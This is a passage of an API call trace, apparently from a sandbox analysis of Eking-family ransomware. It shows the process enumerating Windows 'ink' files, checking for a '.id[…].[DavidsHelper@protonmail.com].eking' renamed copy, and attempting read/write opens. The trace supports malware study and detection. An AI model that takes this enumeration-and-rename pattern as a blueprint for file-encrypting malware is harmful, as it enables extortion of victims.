shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.006] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.008] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.011] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.012] ResetEvent (hEvent=0x178) returned 1 [0166.012] SetEvent (hEvent=0x17c) returned 1 [0166.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.014] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=9803) returned 1 [0166.014] CloseHandle (hObject=0x190) returned 1 [0166.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0166.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0166.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.014] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.015] ResetEvent (hEvent=0x178) returned 1 [0166.015] SetEvent (hEvent=0x17c) returned 1 [0166.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.016] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=11067) returned 1 [0166.016] CloseHandle (hObject=0x190) returned 1 [0166.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0166.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0166.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.016] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.018] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.022] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.023] ResetEvent (hEvent=0x178) returned 1 [0166.023] SetEvent (hEvent=0x17c) returned 1 [0166.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.024] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1218) returned 1 [0166.024] CloseHandle (hObject=0x190) returned 1 [0166.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0166.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0166.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.025] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.027] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.033] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.037] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.038] ResetEvent (hEvent=0x178) returned 1 [0166.038] SetEvent (hEvent=0x17c) returned 1 [0166.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.039] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1437) returned 1 [0166.039] CloseHandle (hObject=0x190) returned 1 [0166.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0166.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0166.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.040] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.042] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.045] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.048] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.049] ResetEvent (hEvent=0x178) returned 1 [0166.049] SetEvent (hEvent=0x17c) returned 1 [0166.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.050] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=749) returned 1 [0166.050] CloseHandle (hObject=0x190) returned 1 [0166.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0166.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0166.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.051] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.053] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.056] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.057] ResetEvent (hEvent=0x178) returned 1 [0166.057] SetEvent (hEvent=0x17c) returned 1 [0166.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0166.059] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=591) returned 1 [0166.059] CloseHandle (hObject=0x1d8) returned 1 [0166.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0166.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0166.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.059] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.060] ResetEvent (hEvent=0x178) returned 1 [0166.060] SetEvent (hEvent=0x17c) returned 1 [0166.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.062] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1166) returned 1 [0166.062] CloseHandle (hObject=0x190) returned 1 [0166.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0166.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0166.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.063] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.064] ResetEvent (hEvent=0x178) returned 1 [0166.064] SetEvent (hEvent=0x17c) returned 1 [0166.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0166.064] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=207) returned 1 [0166.064] CloseHandle (hObject=0x1d8) returned 1 [0166.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0166.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0166.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.065] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.070] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.072] ResetEvent (hEvent=0x178) returned 1 [0166.072] SetEvent (hEvent=0x17c) returned 1 [0166.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0166.072] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4096) returned 1 [0166.072] CloseHandle (hObject=0x1d8) returned 1 [0166.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0166.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0166.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.073] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.121] ResetEvent (hEvent=0x178) returned 1 [0166.121] SetEvent (hEvent=0x17c) returned 1 [0166.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0166.124] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3584) returned 1 [0166.124] CloseHandle (hObject=0x1d8) returned 1 [0166.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0166.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0166.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.125] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.149] ResetEvent (hEvent=0x178) returned 1 [0166.149] SetEvent (hEvent=0x17c) returned 1 [0166.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.623] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=46624) returned 1 [0167.623] CloseHandle (hObject=0x1e4) returned 1 [0167.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0167.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0167.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.799] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0167.824] ResetEvent (hEvent=0x178) returned 1 [0167.824] SetEvent (hEvent=0x17c) returned 1 [0167.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0167.825] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3584) returned 1 [0167.825] CloseHandle (hObject=0x1e8) returned 1 [0167.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0167.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0167.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.826] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0167.829] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0167.830] ResetEvent (hEvent=0x178) returned 1 [0167.830] SetEvent (hEvent=0x17c) returned 1 [0167.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0167.831] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3584) returned 1 [0167.831] CloseHandle (hObject=0x1e8) returned 1 [0167.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0167.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0167.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 